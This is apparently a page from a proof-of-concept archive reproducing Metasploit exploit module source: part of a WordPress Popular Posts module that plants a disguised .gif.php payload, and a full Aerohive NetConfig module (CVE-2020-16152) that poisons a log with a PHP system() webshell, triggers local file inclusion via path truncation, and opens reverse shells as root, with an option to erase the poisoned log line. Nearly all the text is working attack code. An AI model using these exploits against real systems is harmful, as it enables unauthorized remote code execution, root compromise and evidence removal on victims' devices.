'debug'      },      'vars_post' => {        'action' => 'wpp_clear_thumbnail',        'wpp-admin-token' => token      }    )    fail_with(Failure::Unreachable, 'Site not responding') unless res    fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200  end  def enable_custom_fields(cookie, custom_nonce, post)    # this should enable the ajax_nonce, it will 302 us back to the referer page as well so we can get it.    res = send_request_cgi!(      'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post.php'),      'cookie' => cookie,      'keep_cookies' => 'true',      'method' => 'POST',      'vars_post' => {        'toggle-custom-fields-nonce' => custom_nonce,        '_wp_http_referer' => "#{normalize_uri(target_uri.path, 'wp-admin', 'post.php')}?post=#{post}&amp;action=edit",        'action' => 'toggle-custom-fields'      }    )    /name="_ajax_nonce-add-meta" value="([^"]*)/ =~ res.body    Regexp.last_match(1)  end  def create_post(cookie)    vprint_status('Creating new post')    # get post ID and nonces    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post-new.php'),      'cookie' => cookie,      'keep_cookies' => 'true'    )    fail_with(Failure::Unreachable, 'Site not responding') unless res    fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200    /name="_ajax_nonce-add-meta" value="(?&lt;ajax_nonce>[^"]*)/ =~ res.body    /wp.apiFetch.nonceMiddleware = wp.apiFetch.createNonceMiddleware\( "(?&lt;wp_nonce>[^"]*)/ =~ res.body    /},"post":{"id":(?&lt;post_id>\d*)/ =~ res.body    if ajax_nonce.nil?      print_error('missing ajax nonce field, attempting to re-enable. if this fails, you may need to change the interface to enable this.  See https://www.hostpapa.com/knowledgebase/add-custom-meta-boxes-wordpress-posts/. Or check (while writing a post) Options > Preferences > Panels > Additional > Custom Fields.')      /name="toggle-custom-fields-nonce" value="(?&lt;custom_nonce>[^"]*)/ =~ res.body      ajax_nonce = enable_custom_fields(cookie, custom_nonce, post_id)    end    unless ajax_nonce.nil?      vprint_status("ajax nonce: #{ajax_nonce}")    end    unless wp_nonce.nil?      vprint_status("wp nonce: #{wp_nonce}")    end    unless post_id.nil?      vprint_status("Created Post: #{post_id}")    end    fail_with(Failure::UnexpectedReply, 'Unable to retrieve nonces and/or new post id') unless ajax_nonce &amp;&amp; wp_nonce &amp;&amp; post_id    # publish new post    vprint_status("Writing content to Post: #{post_id}")    # this is very different from the EDB POC, I kept getting 200 to the home page with their example, so this is based off what the UI submits    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'index.php'),      'method' => 'POST',      'cookie' => cookie,      'keep_cookies' => 'true',      'ctype' => 'application/json',      'accept' => 'application/json',      'vars_get' => {        '_locale' => 'user',        'rest_route' => normalize_uri(target_uri.path, 'wp', 'v2', 'posts', post_id)      },      'data' => {        'id' => post_id,        'title' => Rex::Text.rand_text_alphanumeric(20..30),        'content' => "&lt;!-- wp:paragraph -->\n&lt;p>#{Rex::Text.rand_text_alphanumeric(100..200)}&lt;/p>\n&lt;!-- /wp:paragraph -->",        'status' => 'publish'      }.to_json,      'headers' => {        'X-WP-Nonce' => wp_nonce,        'X-HTTP-Method-Override' => 'PUT'      }    )    fail_with(Failure::Unreachable, 'Site not responding') unless res    fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200    fail_with(Failure::UnexpectedReply, 'Post failed to publish') unless res.body.include? '"status":"publish"'    return post_id, ajax_nonce, wp_nonce  end  def add_meta(cookie, post_id, ajax_nonce, payload_name)    payload_url = "http://#{datastore['SRVHOSTNAME']}:#{datastore['SRVPORT']}/#{payload_name}"    vprint_status("Adding malicious metadata for redirect to #{payload_url}")    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),      'method' => 'POST',      'cookie' => cookie,      'keep_cookies' => 'true',      'vars_post' => {        '_ajax_nonce' => 0,        'action' => 'add-meta',        'metakeyselect' => 'wpp_thumbnail',        'metakeyinput' => '',        'metavalue' => payload_url,        '_ajax_nonce-add-meta' => ajax_nonce,        'post_id' => post_id      }    )    fail_with(Failure::Unreachable, 'Site not responding') unless res    fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200    fail_with(Failure::UnexpectedReply, 'Failed to update metadata') unless res.body.include? "&lt;tr id='meta-"  end  def boost_post(cookie, post_id, wp_nonce, post_count)    # redirect as needed    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'index.php'),      'keep_cookies' => 'true',      'cookie' => cookie,      'vars_get' => { 'page_id' => post_id }    )    fail_with(Failure::Unreachable, 'Site not responding') unless res    fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 || res.code == 301    print_status("Sending #{post_count} views to #{res.headers['Location']}")    location = res.headers['Location'].split('/')[3...-1].join('/') # http://example.com/&lt;take this value>/&lt;and anything after>    (1..post_count).each do |_c|      res = send_request_cgi!(        'uri' => "/#{location}",        'cookie' => cookie,        'keep_cookies' => 'true'      )      # just send away, who cares about the response      fail_with(Failure::Unreachable, 'Site not responding') unless res      fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200      res = send_request_cgi(        # this URL varies from the POC on EDB, and is modeled after what the browser does        'uri' => normalize_uri(target_uri.path, 'index.php'),        'vars_get' => {          'rest_route' => normalize_uri('wordpress-popular-posts', 'v1', 'popular-posts')        },        'keep_cookies' => 'true',        'method' => 'POST',        'cookie' => cookie,        'vars_post' => {          '_wpnonce' => wp_nonce,          'wpp_id' => post_id,          'sampling' => 0,          'sampling_rate' => 100        }      )      fail_with(Failure::Unreachable, 'Site not responding') unless res      fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 201    end    fail_with(Failure::Unreachable, 'Site not responding') unless res  end  def get_top_posts    print_status('Determining post with most views')    res = get_widget    />(?&lt;views>\d+) views&lt;/ =~ res.body    views = views.to_i    print_status("Top Views: #{views}")    views += 5 # make us the top post    unless datastore['VISTS'].nil?      print_status("Overriding post count due to VISITS being set, from #{views} to #{datastore['VISITS']}")      views = datastore['VISITS']    end    views  end  def get_widget    # load home page to grab the widget ID. At times we seem to hit the widget when it's refreshing and it doesn't respond    # which then would kill the exploit, so in this case we just keep trying.    (1..10).each do |_|      @res = send_request_cgi(        'uri' => normalize_uri(target_uri.path),        'keep_cookies' => 'true'      )      break unless @res.nil?    end    fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless @res.code == 200    /data-widget-id="wpp-(?&lt;widget_id>\d+)/ =~ @res.body    # load the widget directly    (1..10).each do |_|      @res = send_request_cgi(        'uri' => normalize_uri(target_uri.path, 'index.php', 'wp-json', 'wordpress-popular-posts', 'v1', 'popular-posts', 'widget', widget_id),        'keep_cookies' => 'true',        'vars_get' => {          'is_single' => 0        }      )      break unless @res.nil?    end    fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless @res.code == 200    @res  end  def exploit    fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful') if datastore['SRVHOST'] == '0.0.0.0'    cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])    if cookie.nil?      vprint_error('Invalid login, check credentials')      return    end    payload_name = "#{Rex::Text.rand_text_alphanumeric(5..8)}.gif.php"    vprint_status("Payload file name: #{payload_name}")    fail_with(Failure::NotVulnerable, 'gd is not installed on server, uexploitable') unless check_gd_installed(cookie)    post_count = get_top_posts    # we dont need to pass the cookie anymore since its now saved into http client    token = get_wpp_admin_token(cookie)    vprint_status("wpp_admin_token: #{token}")    change_settings(cookie, token)    clear_cache(cookie, token)    post_id, ajax_nonce, wp_nonce = create_post(cookie)    print_status('Starting web server to handle request for image payload')    start_service({      'Uri' => {        'Proc' => proc { |cli, req| on_request_uri(cli, req, payload_name, post_id) },        'Path' => "/#{payload_name}"      }    })    add_meta(cookie, post_id, ajax_nonce, payload_name)    boost_post(cookie, post_id, wp_nonce, post_count)    print_status('Waiting 90sec for cache refresh by server')    Rex.sleep(90)    print_status('Attempting to force loading of shell by visiting to homepage and loading the widget')    res = get_widget    print_good('We made it to the top!') if res.body.include? payload_name    # if res.body.include? datastore['SRVHOSTNAME']    #  fail_with(Failure::UnexpectedReply, "Found #{datastore['SRVHOSTNAME']} in page content. Payload likely wasn't copied to the server.")    # end    # at this point, we rely on our web server getting requests to make the rest happen  endend### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule &lt; Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::CmdStager  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Aerohive NetConfig 10.0r8a LFI and log poisoning to RCE',        'Description' => %q{          This module exploits LFI and log poisoning vulnerabilities          (CVE-2020-16152) in Aerohive NetConfig, version 10.0r8a          build-242466 and older in order to achieve unauthenticated remote          code execution as the root user. NetConfig is the Aerohive/Extreme          Networks HiveOS administrative webinterface. Vulnerable versions          allow for LFI because they rely on a version of PHP 5 that is          vulnerable to string truncation attacks. This module leverages this          issue in conjunction with log poisoning to gain RCE as root.          Upon successful exploitation, the Aerohive NetConfig application          will hang for as long as the spawned shell remains open. Closing          the session should render the app responsive again.          The module provides an automatic cleanup option to clean the log.          However, this option is disabled by default because any modifications          to the /tmp/messages log, even via sed, may render the target          (temporarily) unexploitable. This state can last over an hour.          This module has been successfully tested against Aerohive NetConfig          versions 8.2r4 and 10.0r7a.        },        'License' => MSF_LICENSE,        'Author' => [          'Erik de Jong', # github.com/eriknl - discovery and PoC          'Erik Wynter' # @wyntererik - Metasploit        ],        'References' => [          ['CVE', '2020-16152'], # still categorized as RESERVED          ['URL', 'https://github.com/eriknl/CVE-2020-16152'] # analysis and PoC code        ],        'DefaultOptions' => {          'SSL' => true,          'RPORT' => 443        },        'Platform' => %w[linux unix],        'Arch' => [ ARCH_ARMLE, ARCH_CMD ],        'Targets' => [          [            'Linux', {              'Arch' => [ARCH_ARMLE],              'Platform' => 'linux',              'DefaultOptions' => {                'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp',                'CMDSTAGER::FLAVOR' => 'curl'              }            }          ],          [            'CMD', {              'Arch' => [ARCH_CMD],              'Platform' => 'unix',              'DefaultOptions' => {                'PAYLOAD' => 'cmd/unix/reverse_openssl' # this may be the only payload that works for this target'              }            }          ]        ],        'Privileged' => true,        'DisclosureDate' => '2020-02-17',        'DefaultTarget' => 0,        'Notes' => {          'Stability' => [ CRASH_SAFE ],          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],          'Reliability' => [ REPEATABLE_SESSION ]        }      )    )    register_options [      OptString.new('TARGETURI', [true, 'The base path to Aerohive NetConfig', '/']),      OptBool.new('AUTO_CLEAN_LOG', [true, 'Automatically clean the /tmp/messages log upon spawning a shell. WARNING! This may render the target unexploitable', false]),    ]  end  def auto_clean_log    datastore['AUTO_CLEAN_LOG']  end  def check    res = send_request_cgi({      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, 'index.php5')    })    unless res      return CheckCode::Unknown('Connection failed.')    end    unless res.code == 200 &amp;&amp; res.body.include?('Aerohive NetConfig UI')      return CheckCode::Safe('Target is not an Aerohive NetConfig application.')    end    version = res.body.scan(/action="login\.php5\?version=(.*?)"/)&amp;.flatten&amp;.first    unless version      return CheckCode::Detected('Could not determine Aerohive NetConfig version.')    end    begin      if Rex::Version.new(version) &lt;= Rex::Version.new('10.0r8a')        return CheckCode::Appears("The target is Aerohive NetConfig version #{version}")      else        print_warning('It should be noted that it is unclear if/when this issue was patched, so versions after 10.0r8a may still be vulnerable.')        return CheckCode::Safe("The target is Aerohive NetConfig version #{version}")      end    rescue StandardError => e      return CheckCode::Unknown("Failed to obtain a valid Aerohive NetConfig version: #{e}")    end  end  def poison_log    password = rand_text_alphanumeric(8..12)    @shell_cmd_name = rand_text_alphanumeric(3..6)    @poison_cmd = "&lt;?php system($_POST['#{@shell_cmd_name}']);?>"    # Poison /tmp/messages    print_status('Attempting to poison the log at /tmp/messages...')    res = send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, 'login.php5'),      'vars_post' => {        'login_auth' => 0,        'miniHiveUI' => 1,        'authselect' => 'Name/Password',        'userName' => @poison_cmd,        'password' => password      }    })    unless res      fail_with(Failure::Disconnected, 'Connection failed while trying to poison the log at /tmp/messages')    end    unless res.code == 200 &amp;&amp; res.body.include?('cmn/redirectLogin.php5?ERROR_TYPE=MQ==')      fail_with(Failure::UnexpectedReply, 'Unexpected response received while trying to poison the log at /tmp/messages')    end    print_status('Server responded as expected. Continuing...')  end  def on_new_session(session)    log_cleaned = false    if auto_clean_log      print_status('Attempting to clean the log file at /tmp/messages...')      print_warning('Please note this will render the target (temporarily) unexploitable. This state can last over an hour.')      begin        # We need remove the line containing the PHP system call from /tmp/messages        # The special chars in the PHP syscall make it nearly impossible to use sed to replace the PHP syscall with a regular username.        # Instead, let's avoid special chars by stringing together some grep commands to make sure we have the right line and then removing that entire line        # The impact of using sed to edit the file on the fly and using grep to create a new file and overwrite /tmp/messages with it, is the same:        # In both cases the app will likely stop writing to /tmp/messages for quite a while (could be over an hour), rendering the target unexploitable during that period.        line_to_delete_file = "/tmp/#{rand_text_alphanumeric(5..10)}"        clean_messages_file = "/tmp/#{rand_text_alphanumeric(5..10)}"        cmds_to_clean_log = "grep #{@shell_cmd_name} /tmp/messages | grep POST | grep 'php system' > #{line_to_delete_file}; "\        "grep -vFf #{line_to_delete_file} /tmp/messages > #{clean_messages_file}; mv #{clean_messages_file} /tmp/messages; rm -f #{line_to_delete_file}"        if session.type.to_s.eql? 'meterpreter'          session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'          session.sys.process.execute('/bin/sh', "-c \"#{cmds_to_clean_log}\"")          # Wait for cleanup          Rex.sleep 5          # Check for the PHP system call in /tmp/messages          messages_contents = session.fs.file.open('/tmp/messages').read.to_s          # using =~ here produced unexpected results, so include? is used instead          unless messages_contents.include?(@poison_cmd)            log_cleaned = true          end        elsif session.type.to_s.eql?('shell')          session.shell_command_token(cmds_to_clean_log.to_s)          # Check for the PHP system call in /tmp/messages          poison_evidence = session.shell_command_token("grep #{@shell_cmd_name} /tmp/messages | grep POST | grep 'php system'")          # using =~ here produced unexpected results, so include? is used instead          unless poison_evidence.include?(@poison_cmd)            log_cleaned = true          end        end      rescue StandardError => e        print_error("Error during cleanup: #{e.message}")      ensure        super      end      unless log_cleaned        print_warning("Could not replace the PHP system call '#{@poison_cmd}' in /tmp/messages")      end    end    if log_cleaned      print_good('Successfully cleaned up the log by deleting the line with the PHP syscal from /tmp/messages.')    else      print_warning("Erasing the log poisoning evidence will require manually editing/removing the line in /tmp/messages that contains the poison command:\n\t#{@poison_cmd}")      print_warning('Please note that any modifications to /tmp/messages, even via sed, will render the target (temporarily) unexploitable. This state can last over an hour.')      print_warning('Deleting /tmp/messages or clearing out the file may break the application.')    end  end  def execute_command(cmd, _opts = {})    print_status('Attempting to execute the payload')    send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, 'action.php5'),      'vars_get' => {        '_action' => 'list',        'debug' => 'true'      },      'vars_post' => {        '_page' => rand_text_alphanumeric(1) + '/..' * 8 + '/' * 4041 + '/tmp/messages',  # Trigger LFI through path truncation        @shell_cmd_name => cmd      }    }, 0)    print_warning('In case of successful exploitation, the Aerohive NetConfig web application will hang for as long as the spawned shell remains open.')  end  def exploit    poison_log    if target.arch.first == ARCH_CMD      print_status('Executing the payload')      execute_command(payload.encoded)    else      execute_cmdstager(background: true)    end  endend
文件快照

[4.0K] /data/pocs/2d908270783adebc7292030206f680cd5567f4bf ├── [ 34K] LICENSE └── [ 28K] README.md 0 directories, 2 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。